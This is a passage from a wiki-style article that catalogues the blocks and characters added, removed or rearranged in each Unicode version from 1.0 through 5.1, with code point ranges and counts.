* Letters Ka and Kha with Ogonek (total 4 characters) were removed from '''Cyrillic'''. (U+04C5-U+04C6 and U+04C9-U+04CA)
* APL Compose Operator and APL Out (total 2 characters) were removed from '''Miscellaneous Technical'''. (U+2300-U+2301)

=== Rearranged characters ===
* A Japanese Industrial Standard symbol (〄) was moved from '''Enclosed CJK Letters and Months''' (U+32FF) to '''CJK Symbols and Punctuation'''. (U+3004)
*'''Circled Katakana:''' ''The characters well be arranged in modern order: e.g., A, I, U, E, O, KA, KI'' (U+32D0-U+32FE)
*'''Basic Glyphs For Arabic Language:''' ''The character shapes will be arranged in different order: Isolate, Final, Initial and Medial'' (U+FE80-FEFC)

=== Characters with semantics changed ===
*'''Zero Width Non-Joiner''' [ZWNJ] (U+20DC)

*'''Zero Width Joiner''' [ZWJ] (U+20DD)

== Unicode 1.1 ==

Unicode 1.1 was released June 1993. It encoded 34,168 characters, adding 5,969 new characters and removing 93 characters, for a net increase of 5,876 characters. It finalized the long anticipated Han Unification.

=== New blocks ===

* '''Hangul Jamo''' (U+1100-U+11FF), containing 240 ''jamo'' for the Hangul script, was added.
* '''Latin Extended Additional''' (U+1E00-U+1EFF), containing 245 precomposed characters for transliteration and Vietnamese, was added.
* '''Greek Extended''' (U+1F00-U+1FFF), containing 233 precomposed characters for polytonic Greek, was added.
* '''Hangul Supplementary-A''' (U+3D2E-U+44B7), containing 1,930 precomposed syllables for the Hangul script, was added.
* '''Hangul Supplementary-B''' (U+44B8-U+4DFF), containing 2,376 precomposed syllables for the Hangul script, was added.
* '''Alphabetic Presentation Forms''' (U+FB00-U+FB4F), containing 57 precomposed characters and ligatures, was added.
* '''Arabic Presentation Forms-A''' (U+FB50-U+FDFF), containing 593 combinations of Arabic letters, was added.
* '''Combining Half Marks''' (U+FE20-U+FE2F), containing 4 halves of diacritical marks, was added.

=== Extended blocks ===

* The long S (ſ) (total 1 character) was added to '''Latin Extended-A'''. (U+017F)
* The Hungarian Dz, characters for transliteration purposes and precomposed characters with double grave and inverted breve (total 35 characters) were added to '''Latin Extended-B''' (U+01F1-U+01F5 and U+01FA-U+0217). The block was expanded from (U+0180-U+01FF) to (U+0180-U+024F)
* Diacritics for polytonic Greek and double width diacritics (total 6 characters) were added to '''Combining Diacritical Marks'''. (U+0342-U+0345 and U+0360-U+0361)
* Compatibility character now deprecated, Ano Teleia, and other characters (total 5 characters) were added to '''Greek and Coptic''' (U+0374-U+0375, U+037A, U+037E and U+0387).
* Additional characters for non-Slavic languages (total 38 characters) were added to '''Cyrillic'''. (U+04D0-U+04EB, U+04EE-U+04F5 and U+04F8-U+04F9)
* A ligature of Ech and Yiwn (և) (total 1 character) was added to '''Armenian'''. (U+0587)
* One deprecated compatibility character and several characters for biblical texts (total 25 characters) were added to '''Arabic'''. (U+066D and U+06D6-U+06ED)
* A sign Virama (total 1 character) was added to '''Gurmukhi''' (U+0A4D).
* Letters Candra O and E (total 3 characters) were added to '''Gujarati'''. (U+0A8D, U+0A91 and U+0AC9)
* An Ai Length mark (total 1 character) was added to '''Oriya'''. (U+0B56)
* An undertie, a pair of brackets and six formatting characters now deprecated (total 9 characters) were added to '''General Punctuation'''. (U+203F, U+2045-U+2046 and U+206A-U+206F)
* Some additional symbols and the complete set of APL functional symbols (total 79 characters) were added to '''Miscellaneous Technical'''. (U+2300 and U+232D-U+237A)
* A large circle (◯) (total 1 character) was added to '''Geometric Shapes'''. (U+25EF)
* The ideographic telegraph line feed separator symbol (〷) (total 1 character) was added to '''CJK Symbols and Punctuation'''. (U+3037)
* Four Katakana letters not in use since 1945 (total 4 characters) were added to '''Katakana'''. (U+30F7-U+30FA)
* Ideographic telegraph symbols for the twelve months (total 12 characters) were added to '''Enclosed CJK Letters and Months'''. (U+32C0-U+32CB)
* Ideographic telegraph symbols for hours and days and six additional measure units (total 62 characters) were added to '''CJK Compatibility'''. (U+3358-U+3376 and U+33E0-U+33FE)
* Some more space (total 2,304 characters) was added to the '''Private Use Area'''.
* Seven halfwidth geometric shapes (total 7 characters) were added to '''Halfwidth and Fullwidth Forms'''. (U+FFE8-U+FFEE)

=== Removed blocks ===
* '''Tibetan''', containing 71 letters for the Tibetan script, was removed from the Unicode standard.

=== Removed characters ===
* A total of 10 characters were removed from '''Greek and Coptic'''. (U+0370-U+0372, U+03D7-U+03D9, U+03DB, U+03DD, U+03DF, and U+03E1)
* Point Varika (total 1 character) was removed from ''Hebrew''. (U+05F5)
* Phonetic Order Vowel Signs (total 5 characters) were removed from '''Thai'''. (U+0E70-U+0E74)
* Phonetic Order Vowel Signs (total 5 characters) were removed from '''Lao'''. (U+0EF0-U+0EF4)
* An Ideographic Ditto Mark (total 1 character) was removed from '''CJK Symbols and Punctuation''' (U+3004) and merged with CJK Unified Ideograph-4EDD.

=== Rearranged characters ===
* Greek character U+03F3 was changed from Spacing Tonos to Letter Yot.
* A Japanese Industrial Standard symbol (〄) was moved from '''Enclosed CJK Letters and Months''' (U+32FF) to '''CJK Symbols and Punctuation'''. (U+3004)

== Unicode 2.0 ==

Unicode 2.0 was released July 1996. It encoded 38,885 characters, adding 11,373 new characters and removing 6,656 characters, for a net increase of 4,717 characters. This was the first Unicode version to reserve blocks outside of the Basic Multilingual Plane.

=== New blocks ===

* '''Hangul Syllables''' (U+AC00-U+D7AF), containing 11,172 precomposed syllables for the Hangul script, was added.
* '''High Surrogates''' (U+D800-U+DB7F), setting aside 896 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''High Private Use Surrogates''' (U+DB80-U+DBFF), setting aside 128 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''Low Surrogates''' (U+DC00-U+DFFF), setting aside 1,024 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''Supplementary Private Use Area-A''' (U+F0000-U+FFFFF), reserving 65,534 characters for private use, was added.
* '''Supplementary Private Use Area-B''' (U+100000-U+10FFFF), reserving 65,534 characters for private use, was added.

=== Reinstated blocks ===

* '''Tibetan''' (U+0F00-U+0FFF), now containing 168 characters for the Tibetan script including religious signs, was readded.

=== Removed blocks ===

* '''Hangul''', containing 2,350 precomposed syllables for the Hangul script, was removed from the Unicode standard.
* '''Hangul Supplementary-A''', containing 1,930 precomposed syllables for the Hangul script, was removed from the Unicode standard.
* '''Hangul Supplementary-B''', containing 2,376 precomposed syllables for the Hangul script, was removed from the Unicode standard.

=== Extended blocks ===

* Cantillation marks for use in religious texts (total 31 characters) were added to '''Hebrew'''. (U+0591-U+05A1, U+05A3-U+05AF and U+05C4)
* A long S with Dot Above (total 1 character) was added to '''Latin Extended Additional'''. (U+1E9B)
* A Vietnamese Dong sign (total 1 character) was added to '''Currency Symbols'''. (U+20AB)

== Unicode 2.1 ==

Unicode 2.1 was released May 1998. It encoded 38,887 characters, adding only 2 new characters.

=== Extended blocks ===

* A Euro sign (total 1 character) was added to '''Currency Symbols'''. (U+20AC)
* An Object Replacement Character (total 1 character) was added to '''Specials'''. (U+FFFC)

== Unicode 3.0 ==

Unicode 3.0 was released September 1999. It was a big update and encoded 49,194 characters, adding 10,307 new characters.

=== New blocks ===

* '''Syriac''' (U+0700-U+074F), containing 71 characters used for writing in Syriac script, was added.
* '''Thaana''' (U+0780-U+07BF), containing 49 characters used for writing in Thaana script, was added.
* '''Sinhala''' (U+0D80-U+0DFF), containing 80 characters for the Sinhala script, was added.
* '''Myanmar''' (U+1000-U+109F), containing 78 characters for the Burmese script, was added.
* '''Ethiopic''' (U+1200-U+137F), containing 345 syllables and punctuation marks for the Ethiopic script, was added.
* '''Cherokee''' (U+13A0-U+13FF), containing 85 syllables for the Cherokee script, was added.
* '''Unified Canadian Aboriginal Syllabics''' (U+1400-U+167F), containing 630 syllables and punctuation marks for writing in indigenous languages of Canada, was added.
* '''Ogham''' (U+1680-U+169F), containing 29 characters for the ancient Ogham script, was added.
* '''Runic''' (U+16A0-U+16FF), containing 81 characters for the Germanic runes, was added.
* '''Khmer''' (U+1780-U+17FF), containing 103 characters for the Khmer script, was added.
* '''Mongolian''' (U+1800-U+18AF), containing 155 characters for the classical Mongolian script, was added.
* '''Braille Patterns''' (U+2800-U+28FF), containing 256 Braille letters, was added.
* '''CJK Radicals Supplement''' (U+2E80-U+2EFF), containing 115 non-Kangxi radicals, was added.
* '''Kangxi Radicals''' (U+2F00-U+2FDF), containing 214 radicals from the Kangxi dictionary, was added.
* '''Ideographic Description Characters''' (U+2FF0-U+2FFF), containing 12 characters used to describe a Han ideograph not available in the font, was added.
* '''Bopomofo Extended''' (U+31A0-U+31BF), containing 24 characters used for phonetic transcription of minority languages of Taiwan, was added.
* '''CJK Unified Ideographs Extension A''' (U+3400-U+4DBF), containing 6,582 additional Han Ideographs, was added.
* '''Yi Syllables''' (U+A000-U+A48F), containing 1,165 syllables of the modern Yi script, was added.
* '''Yi Radicals''' (U+A490-U+A4CF), containing 50 radicals of Yi Syllables, was added.

=== Extended blocks ===

* Additional precomposed characters, letters and capital letters of lowercase-only letters (total 30 characters) were added to '''Latin Extended-B'''. (U+01F6-U+01F9, U+0218-U+021F and U+0222-U+0233)
* Extensions for disordered speech (total 5 characters) were added to '''IPA Extensions'''. (U+02A9-U+02AD)
* Some additional modifier letters (total 6 characters) were added to '''Spacing Modifier Letters'''. (U+02DF and U+02EA-U+02EE)
* Additional combining diacritics for IPA (total 10 characters) were added to '''Combining Diacritical Marks'''. (U+0346-U+034E and U+0362)
* Lowercase versions of archaic letters and the Kai symbol (total 5 characters) were added to '''Greek and Coptic'''. (U+03D7, U+03DB, U+03DD, U+03DF and U+03E1)
* Nonstandard letters for Macedonian, combining numeral signs and three letters for Kildin Sami (total 12 characters) were added to '''Cyrillic'''. (U+0400, U+040D, U+0450, U+045D, U+0488-U+0489, U+048C-U+048F and U+04EC-U+04ED)
* A Hyphen (total 1 character) was added to '''Armenian'''. (U+058A)
* Combining hamza and maddah and nine additional Arabic characters (total 12 characters) were added to '''Arabic'''. (U+0653-U+0655, U+06B8-U+06B9, U+06BF, U+06CF and U+06FA-U+06FE)
* Additional letters and religious symbols (total 25 characters) were added to '''Tibetan'''. (U+0F6A, U+0F96, U+0FAE-U+0FB0, U+0FB8, U+0FBA-U+0FBC, U+0FBE-U+0FCC and U+0FCF)
* A narrow no-break space and 6 additional punctuation marks (total 7 characters) were added to '''General Punctuation'''. (U+202F and U+2048-U+204D)
* The Kip, Tugrik and Drachma sign (total 3 characters) were added to '''Currency Symbols'''. (U+20AD-U+20AF)
* An enclosing screen and an enclosing key (total 2 characters) were added to '''Combining Diacritical Marks for Symbols'''. (U+20E2-U+20E3)
* The information symbol and a rotated Q (total 2 characters) were added to '''Letterlike Symbols'''. (U+2139-U+213A)
* A mirrored Roman capital numeral hundred (Ↄ) (total 1 character) was added to '''Number Forms'''. (U+2183)
* Some additional arrows (total 9 characters) were added to '''Arrows'''. (U+21EB-U+21F3)
* Some additional technical symbols, including common keys on a 101 keyboard (total 33 characters) were added to '''Miscellaneous Technical'''. (U+2301, U+237B and U+237D-U+239A)
* Two additional control pictures (total 2 characters) were added to '''Control Pictures'''. (U+2425-U+2426)
* Squares and circles with quadrants (total 8 characters) were added to '''Geometric Shapes'''. (U+25F0-U+25F7)
* Two Syriac crosses and a signature mark (total 3 characters) were added to '''Miscellaneous Symbols'''. (U+2619 and U+2670-U+2671)
* Three Hangzhou numerals and a variation indicator (total 4 characters) were added to '''CJK Symbols and Punctuation'''. (U+3038-U+303A and U+303E)
* A ligature Yod with Hiriq (יִ) (total 1 character) was added to '''Alphabetic Presentation Forms'''. (U+FB1D)
* Three additional control characters for ruby markup (total 3 characters) were added to '''Specials'''. (U+FFF9-U+FFFB)

== Unicode 3.1 ==

Unicode 3.1 was released March 2001. It encoded 94,140 characters, adding 44,946 new characters, and mainly focused on blocks outside of the Basic Multilingual Plane.

=== New blocks ===

* '''Old Italic''' (U+10300-U+1032F), containing 35 letters for the Etruscan script, was added.
* '''Gothic''' (U+10330-U+1034F), containing 27 letters for the Gothic script, was added.
* '''Deseret''' (U+10400-U+1044F), containing 76 letters for the constructed Deseret script, was added.
* '''Byzantine Musical Symbols''' (U+1D000-U+1D0FF), containing 246 symbols for musical notation in Byzantine, was added.
* '''Musical Symbols''' (U+1D100-U+1D1FF), containing 219 characters for current musical notation, was added.
* '''Mathematical Alphanumeric Symbols''' (U+1D400-U+1D7FF), containing 991 Latin and Greek letters in serif, sans-serif, bold, italic, double-struck, script and Fraktur/Blackletter, was added.
* '''CJK Unified Ideographs Extension B''' (U+20000-U+2A6DF), containing 42,711 additional Chinese Ideographs, was added.
* '''CJK Compatibility Ideographs Supplement''' (U+2F800-U+2FA1F), containing 542 additional Chinese Ideographs for compatibility purposes, was added.
* '''Tags''', containing 97 language tags, was added. (U+E0000-U+E007F)

=== Extended noncharacters ===

* The Noncharacters range: U+FDD0..U+FDEF were added to '''Arabic Presentation Forms-A'''.

=== Extended blocks ===

* The capital Theta symbol and the Lunate Epsilon symbol (total 2 characters) were added to '''Greek and Coptic'''. (U+03F4-U+03F5)

=== Characters and Scripts Under Investigation or Rejected ===
* Khmer Sign Laak Was Rejected. (U+17DD) From '''Khmer.'''
* Georgian Letter U-Brjuu Was Rejected. From '''Georgian.'''

== Unicode 3.2 ==

Unicode 3.2 was released March 2002. It encoded 95,156 characters, adding 1,016 new characters.

=== New blocks ===

* '''Cyrillic Supplementary (now Cyrillic Supplement)''' (U+0500-U+052F), containing 16 characters used for the Komi language, was added.
* '''Tagalog''' (U+1700-U+171F), containing 20 characters for the Baybayin script, was added.
* '''Hanunoo''' (U+1720-U+173F), containing 23 characters and punctuation for the Hanunó'o script, was added.
* '''Buhid''' (U+1740-U+175F), containing 20 characters for the Buhid script, was added.
* '''Tagbanwa''' (U+1760-U+177F), containing 18 characters for the Tagbanwa script, was added.
* '''Miscellaneous Mathematical Symbols-A''' (U+27C0-U+27EF), containing 28 symbols used in math notation, was added.
* '''Supplemental Arrows-A''' (U+27F0-U+27FF), containing 16 additional arrows, was added.
* '''Supplemental Arrows-B''' (U+2900-U+297F), containing 128 special arrows, was added.
* '''Miscellaneous Mathematical Symbols-B''' (U+2980-U+29FF), containing 128 additional mathematical symbols, was added.
* '''Supplemental Mathematical Operators''' (U+2A00-U+2AFF), containing 256 additional mathematical operators, was added.
* '''Katakana Phonetic Extensions''' (U+31F0-U+31FF), containing 16 Katakana letters used for Ainu, was added.
* '''Variation Selectors''' (U+FE00-U+FE0F), containing 16 symbols used for indicating variations, was added.

=== Extended blocks ===

* A capital letter N with Long Right Leg (total 1 character) was added to '''Latin Extended-B'''. (U+0220)
* The combining grapheme joiner and combining Latin letters used in medieval texts (total 14 characters) were added to '''Combining Diacritical Marks'''. (U+034F and U+0363-U+036F)
* The Qoppa and a reversed lunate epsilon symbol (total 3 characters) were added to '''Greek and Coptic'''. (U+03D8-U+03D9 and U+03F6)
* Four additional letters used for the Kildin Sami language (total 8 characters) were added to '''Cyrillic'''. (U+048A-U+048B, U+04C5-U+04C6, U+04C9-U+04CA and U+04CD-U+04CE)
* A dotless Beh and a dotless Qaf (total 2 characters) were added to '''Arabic'''. (U+066E-U+066F)
* A Letter for Addu dialect (total 1 character) was added to '''Thaana'''. (U+07B1)
* The letters Yn and Elifi (total 2 characters) were added to '''Georgian'''. (U+10F7-U+10F8)
* Some additional punctuation marks and control characters (total 12 characters) were added to '''General Punctuation'''. (U+2047, U+204E-U+2052, U+2057 and U+205F-U+2063)
* A superscript letter I (total 1 character) was added to '''Superscripts and Subscripts'''. (U+2071)
* German Penny and Peso sign (total 2 characters) were added to '''Currency Symbols'''. (U+20B0-U+20B1)
* Some additional combining characters (total 7 characters) were added to '''Combining Diacritical Marks for Symbols'''. (U+20E4-U+20EA)
* Some double-struck and reversed/turned letters (total 15 characters) were added to '''Letterlike Symbols'''. (U+213D-U+214B)
* Some additional arrows (total 12 characters) were added to '''Arrows'''. (U+21F4-U+21FF)
* Some additional mathematical operators (total 14 characters) were added to '''Mathematical Operators'''. (U+22F2-U+22FF)
* Variable-width and additional symbols (total 53 characters) were added to '''Miscellaneous Technical'''. (U+237C and U+239B-U+23CE)
* Black and double circled numerals (total 20 characters) were added to '''Enclosed Alphanumerics'''. U+24EB-U+24FE)
* Quadrant elements (total 10 characters) were added to '''Block Elements'''. (U+2596-U+259F)
* Some additional triangles and squares (total 8 characters) were added to '''Geometric Shapes'''. (U+25F8-U+25FF)
* Shogi pieces ,recycling symbols, dices and dotted circles (total 24 characters) were added to '''Miscellaneous Symbols'''. (U+2616-U+2617, U+2672-U+267D and U+2680-U+2689)
* Additional parenthesis (total 14 characters) were added to '''Dingbats'''. (U+2768-U+2775)
* Three additional marks (total 3 characters) were added to '''CJK Symbols and Punctuation'''. (U+303B-U+303D)
* A digraph and two additional characters (total 3 characters) were added to '''Hiragana'''. (U+3095-U+3096 and U+309F)
* A digraph and a double hyphen (total 2 characters) were added to '''Katakana'''. (U+30A0 and U+30FF)
* Additional circled numerals (total 30 characters) were added to '''Enclosed CJK Letters and Months'''. (U+3251-U+325F and U+32B1-U+32BF
* Five missing radicals (total 5 characters) were added to '''Yi Radicals'''. (U+A4A2-U+A4A3, U+A4B4, U+A4C1, U+A4C5)
* Additional compatibility characters (total 59 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA30-U+FA6A)
* A Rial sign (total 1 character) was added to '''Arabic Presentation Forms-A'''. (U+FDFC)
* Two sesame dots (total 2 characters) were added to '''CJK Compatibility Forms'''. (U+FE45-U+FE46)
* A tail fragment (total 1 character) was added to '''Arabic Presentation Forms-B'''. (U+FE73)
* A pair of double parenthesis (total 2 characters) was added to '''Halfwidth and Fullwidth Forms'''. (U+FF5F-U+FF60)

== Unicode 4.0 ==

Unicode 4.0 was released April 2003. It encoded 96,382 characters, adding 1,226 new characters.

=== New blocks ===

* '''Limbu''' (U+1900-U+194F), containing 66 characters for the Limbu abugida, was added.
* '''Tai Le''' (U+1950-U+197F), containing 35 letters for the Tai Le script, was added.
* '''Khmer Symbols''' (U+19E0-U+19FF), containing 32 symbols for the lunar calendar, was added.
* '''Phonetic Extensions''' (U+1D00-U+1D7F), containing 108 letters used in phonetic transcription, was added.
* '''Miscellaneous Symbols and Arrows''' (U+2B00-U+2BFF), containing 14 additional arrows, was added.
* '''Yijing Hexagram Symbols''' (U+4DC0-U+4DFF), containing 64 hexagrams, was added.
* '''Linear B Syllabary''' (U+10000-U+1007F), containing 88 syllables of the ancient Linear B script, was added.
* '''Linear B Ideograms''' (U+10080-U+100FF), containing 123 ideograms of the ancient Linear B script, was added.
* '''Aegean Numbers''' (U+10100-U+1013F), containing 57 numerals used in the Aegean area, was added.
* '''Ugaritic''' (U+10380-U+1039F), containing 31 characters used in Ugaritic cuneiform, was added.
* '''Shavian''' (U+10450-U+1047F), containing 48 letters used for the artificial Shavian script, was added.
* '''Osmanya''' (U+10480-U+104AF), containing 40 characters used in the artificial Osmanya script, was added.
* '''Cypriot Syllabary''' (U+10800-U+1083F), containing 55 characters formerly used on Cyprus, was added.
* '''Tai Xuan Jing Symbols''' (U+1D300-U+1D35F), containing 87 symbols of Tai Xuan Jing, was added.
* '''Variation Selectors Supplement''' (U+E0100-U+E01EF), containing 240 additional variation selectors, was added.

=== Extended blocks ===

* Letters with curl used in Sinology (total 4 characters) were added to '''Latin Extended-B'''. (U+0221 and U+0234-U+0236)
* Former IPA letters (total 2 characters) were added to '''IPA Extensions'''. (U+02AE-U+02AF)
* Some additional characters (total 17 characters) were added to '''Spacing Modifier Letters'''. (U+02EF-U+02FF)
* Additional combining double-width diacritics and diacritics corresponding to their spacing equivalent (total 11 characters) were added to '''Combining Diacritical Marks'''. (U+0350-U+0357 and U+035D-U+035F)
* The archaic letters Sho and San and the capital Lunate Sigma (total 5 characters) were added to '''Greek and Coptic'''. (U+03F7-U+03FB)
* Some additional markers, biblical signs, and letters with inverted V (total 19 characters) were added to '''Arabic'''. (U+0600-U+0603, U+060D-U+0615, U+0656-U+0658, U+06EE-U+06EF and U+06FF)
* Letters used for foreign words from Persian and Sogdian (total 6 characters) were added to '''Syriac'''. (U+072D-U+072F and U+074D-U+074F)
* The short A (ऄ) (total 1 character) was added to '''Devanagari'''. (U+0904)
* The Avagraha sign (ঽ) (total 1 character) was added to '''Bengali'''. (U+09BD)
* The Adak Bindi and Visarga signs (total 2 characters) were added to '''Gurmukhi'''. (U+0A01 and U+0A03)
* The vocalic l and ll and the Rupee sign (total 5 characters) were added to '''Gujarati'''. (U+0A8C and U+0AF1-U+0AF3)
* The letters Va and Wa (total 2 characters) were added to '''Oriya'''. (U+0B35 and U+0B71)
* Additional signs for date and finance environments (total 8 characters) were added to '''Tamil'''. (U+0BF3-U+0BFA)
* The Nukta and Avagraha signs (total 2 characters) were added to '''Kannada'''. (U+0CBC-U+0CBD)
* Some symbols and signs (total 11 characters) were added to '''Khmer'''. (U+17DD and U+17F0-U+17F9)
* An inverted undertie and a swung dash (total 2 characters) were added to '''General Punctuation'''. (U+2053-U+2054)
* The facsimile sign (℻) (total 1 character) was added to '''Letterlike Symbols'''. (U+213B)
* The eject symbol and a vertical line (total 2 characters) were added to '''Miscellaneous Technical'''. (U+23CF-U+23D0)
* A black circled digit zero (⓿) (total 1 character) was added to '''Enclosed Alphanumerics'''. (U+24FF)
* Monograms and diagrams, flags, warning and weather symbols and a cup of tea (total 12 characters) were added to '''Miscellaneous Symbols'''. (U+2614-U+2615, U+268A-U+2691 and U+26A0-U+26A1)
* Additional parenthesized and circled Korean characters and supplemental signs (total 9 characters) were added to '''Enclosed CJK Letters and Months'''. (U+321D-U+321E, U+3250, U+327C-U+327D and U+32CC-U+32CF)
* Additional measure units (total 7 characters) were added to '''CJK Compatibility'''. (U+3377-U+337A, U+33DE-U+33DF and U+33FF)
* An additional Arabic sign (﷽) (total 1 character) was added to '''Arabic Presentation Forms-A'''. (U+FDFD)
* A pair of vertical parenthesis (total 2 characters) was added to '''CJK Compatibility Forms'''. (U+FE47-U+FE48)
* The letters Oi and Ew (total 4 characters) were added to '''Deseret'''. (U+10426-U+10427 and U+1044E-U+1044F)
* A small script l (ℓ) (total 1 character) was added to '''Mathematical Alphanumeric Symbols'''. (U+1D4C1)

== Unicode 4.1 ==

Unicode 4.1 was released March 31, 2005. It encoded 97,655 characters, adding 1,273 new characters.

=== New blocks ===

* '''Arabic Supplement''', containing 30 characters for various languages written with the Arabic script, was added.
* '''Ethiopic Supplement''', containing 26 characters and signs for Sebatbeit, was added.
* '''New Tai Lue''', containing 80 characters for the New Tai Lue script, was added.
* '''Buginese''', containing 30 characters for the Lontara script, was added.
* '''Phonetic Extensions Supplement''', containing 64 additional letters for phonetic transcription, was added.
* '''Combining Diacritical Marks Supplement''', containing 4 additional diacritics, was added.
* '''Glagolitic''', containing 94 characters for the Glagolitic script, was added.
* '''Coptic''', containing 114 characters for the Coptic script, was added.
* '''Georgian Supplement''', containing 38 Nuskhuri letters, was added.
* '''Tifinagh''', containing 55 characters for the Tifinagh script, was added.
* '''Ethiopic Extended''', containing 79 additional Ethiopic syllables, was added.
* '''Supplemental Punctuation''', containing 26 additional punctuation marks, was added.
* '''CJK Strokes''', containing 16 strokes for Han Ideographs, was added.
* '''Modifier Tone Letters''', containing 23 letters for Chinese tones, was added.
* '''Syloti Nagri''', containing 44 characters for the Syloti Nagri abugida, was added.
* '''Vertical Forms''', containing 10 punctuation marks suited for vertical text, was added.
* '''Ancient Greek Numbers''', containing 75 numerals and signs used in Ancient Greek, was added.
* '''Old Persian''', containing 50 characters for Old Persian cuneiform, was added.
* '''Kharoshthi''', containing 65 characters for the Kharoshthi abugida, was added.
* '''Ancient Greek Musical Notation''', containing 70 musical signs used in Ancient Greek, was added.

=== Extended blocks ===

* Letters for Sencoten, digraphs, letters with swash tail and other additions (total 11 characters) were added to '''Latin Extended-B'''.
* Additional diacritics for transliteration (total 5 characters) were added to '''Combining Diacritical Marks'''.
* Rho with stroke, reversed and dotted Lunate Sigma (total 4 characters) were added to '''Greek and Coptic'''.
* Ghe with descender (Ӷ) (total 2 characters) was added to '''Cyrillic'''.
* An additional biblical mark and some punctuation marks (total 4 characters) were added to '''Hebrew'''.
* Additional biblical marks, punctuation marks and the Afghani sign (total 8 characters) were added to '''Arabic'''.
* A glottal stop (ॽ) (total 1 character) was added to '''Devanagari'''.
* The Khanda Ta letter (ৎ) (total 1 character) was added to '''Bengali'''.
* The letter Sha and the digit zero (total 2 characters) were added to '''Tamil'''.
* Two marks used in Bhutan (total 2 characters) were added to '''Tibetan'''.
* Two letters and a modifier letter (total 3 characters) were added to '''Georgian'''.
* Some additional syllables (total 11 characters) were added to '''Ethiopic'''.
* Additional phonetic symbols (total 20 characters) were added to '''Phonetic Extensions'''.
* A flower and dot punctuation marks (total 9 characters) were added to '''General Punctuation'''.
* Additional subscript letters (total 5 characters) were added to '''Superscripts and Subscripts'''.
* The Guarani, Austral, Hryvnia and Cedi signs (total 4 characters) were added to '''Currency Symbols'''.
* A combining long double solidus (total 1 character) was added to '''Combining Diacritical Marks for Symbols'''.
* The per sign and a double-struck letter Pi (total 2 characters) were added to '''Letterlike Symbols'''.
* Metrical and electrical signs (total 11 characters) were added to '''Miscellaneous Technical'''.
* Additional gender and map symbols (total 30 characters) were added to '''Miscellaneous Symbols'''.
* Some additional mathematical symbols (total 7 characters) were added to '''Miscellaneous Mathematical Symbols-A'''.
* Additional arrows and squares (total 6 characters) were added to '''Miscellaneous Symbols and Arrows'''.
* A circled Hangul character (㉾) (total 1 character) was added to '''Enclosed CJK Letters and Months'''.
* Additional Han Ideographs (total 22 characters) were added to '''CJK Unified Ideographs'''.
* Additional Compatibility Ideographs (total 106 characters) were added to '''CJK Compatibility Ideographs'''.
* Italic dotless small i and j (total 2 characters) were added to '''Mathematical Alphanumeric Symbols'''.

== Unicode 5.0 ==

Unicode 5.0 was released July 14, 2006. It encoded 99,024 characters, adding 1,369 new characters.

=== New blocks ===

* '''N'Ko''', containing 59 characters for the N'Ko script, was added.
* '''Balinese''', containing 121 characters and musical signs for the Balinese abugida, was added.
* '''Latin Extended-C''', containing 17 letters for various languages, was added.
* '''Latin Extended-D''', containing 2 characters for UPA, was added.
* '''Phags-pa''', containing 56 characters for the Phags-pa script, was added.
* '''Phoenician''', containing 27 letters and numerals for the Phoenician script, was added.
* '''Cuneiform''', containing 879 signs for Sumero-Akkadian Cuneiform, was added.
* '''Cuneiform Numbers and Punctuation''', containing 103 numerals and punctuation signs for Sumero-Akkadian Cuneiform, was added.
* '''Counting Rod Numerals''', containing 18 numerals used with counting rods, was added.

=== Extended blocks ===

* Various letters used mainly for aboriginal languages (total 14 characters) were added to '''Latin Extended-B'''.
* Lowercase lunate sigma symbols (total 3 characters) were added to '''Greek and Coptic'''.
* Lowercase palochka and 3 letters used in Nivkh (total 7 characters) were added to '''Cyrillic'''.
* Two letters used in Khanty and other languages (total 4 characters) were added to '''Cyrillic Supplement'''.
* A specific point meant for Vav (total 1 character) was added to '''Hebrew'''.
* Four letters used in Sindhi (total 4 characters) were added to '''Devanagari'''.
* Four letters used in Sanskrit (total 4 characters) were added to '''Kannada'''.
* Additional IPA diacritics (total 9 characters) were added to '''Combining Diacritical Marks Supplement'''.
* Four combining arrows (total 4 characters) were added to '''Combining Diacritical Marks for Symbols'''.
* A danish symbol and a lowercase turned F (total 2 characters) were added to '''Letterlike Symbols'''.
* A lowercase reversed C (ↄ) (total 1 character) was added to '''Number Forms'''.
* Vertical parenthesis, geometric forms and electrical symbols (total 12 characters) were added to '''Miscellaneous Technical'''.
* A neuter symbol (⚲) (total 1 character) was added to '''Miscellaneous Symbols'''.
* Four additional mathematical symbols (total 4 characters) were added to '''Miscellaneous Mathematical Symbols-A'''.
* Additional squares, pentagons and hexagons (total 11 characters) were added to '''Miscellaneous Symbols and Arrows'''.
* Four additional tone letters used in Chinantec (total 4 characters) were added to '''Modifier Tone Letters'''.
* Bold Digamma (𝟊/'''Ϝ''') (total 2 characters) was added to '''Mathematical Alphanumeric Symbols'''.

== Unicode 5.1 ==

Unicode 5.1 was released April 4, 2008. It encoded 100,648 characters, adding 1,624 new characters.

=== New blocks ===

* '''Sundanese''', containing 55 letters for Sundanese script, was added.
* '''Lepcha''', containing 74 letters for Lepcha script, was added.
* '''Ol Chiki''', containing 48 letters for Ol Chiki script, was added.
* '''Cyrillic Extended-A''', containing 32 letters for combining Cyrillic letters, was added.
* '''Vai''', containing 300 letters for Vai script, was added.
* '''Cyrillic Extended-B''', containing 78 letters for additional Cyrillic characters, was added.
* '''Saurashtra''', containing 81 letters for Saurashtra script, was added.
* '''Kayah Li''', containing 48 letters for Kayah languages, was added.
*  '''Rejang''', containing 37 letters for Rejang script, was added.
* '''Cham''', containing 83 letters for Cham script, was added.
* '''Ancient Symbols''', containing 12 characters for weights and measures and other Ancient symbols, was added.
* '''Phaistos Disc''', containing 46 hieroglyphs for Phaistos, was added.
* '''Lycian''', containing 29 letters for Lycian script, was added.
* '''Carian''', containing 49 letters for Carian script, was added.
* '''Lydian''', containing 27 letters for Lydian script, was added.
* '''Mahjong Tiles''', containing 44 mahjong tiles, was added.
* '''Domino Tiles''', containing 100 domino tiles, was added.

=== Extended blocks ===

* Archaic letters and capital kai symbol (total 7 characters) were added to '''Greek and Coptic'''.
* Combining Pokrytie (total 1 character) was added to '''Cyrillic'''.
* Mordvin, Kurdish, Aleut and Chuvash letters (total 16 characters) were added to '''Cyrillic Supplement'''.
* Radix symbols, Letterlike, punctuation, Koranic annotation signs and additions for early Persian and Azerbaijani (total 15 characters) were added to '''Arabic'''.
* Additional letters in Torwali, Burushaski and early Persian (total 18 characters) were added to '''Arabic Supplement'''.
* High spacing dot and candra a (total 2 characters) were added to '''Devanagari'''.
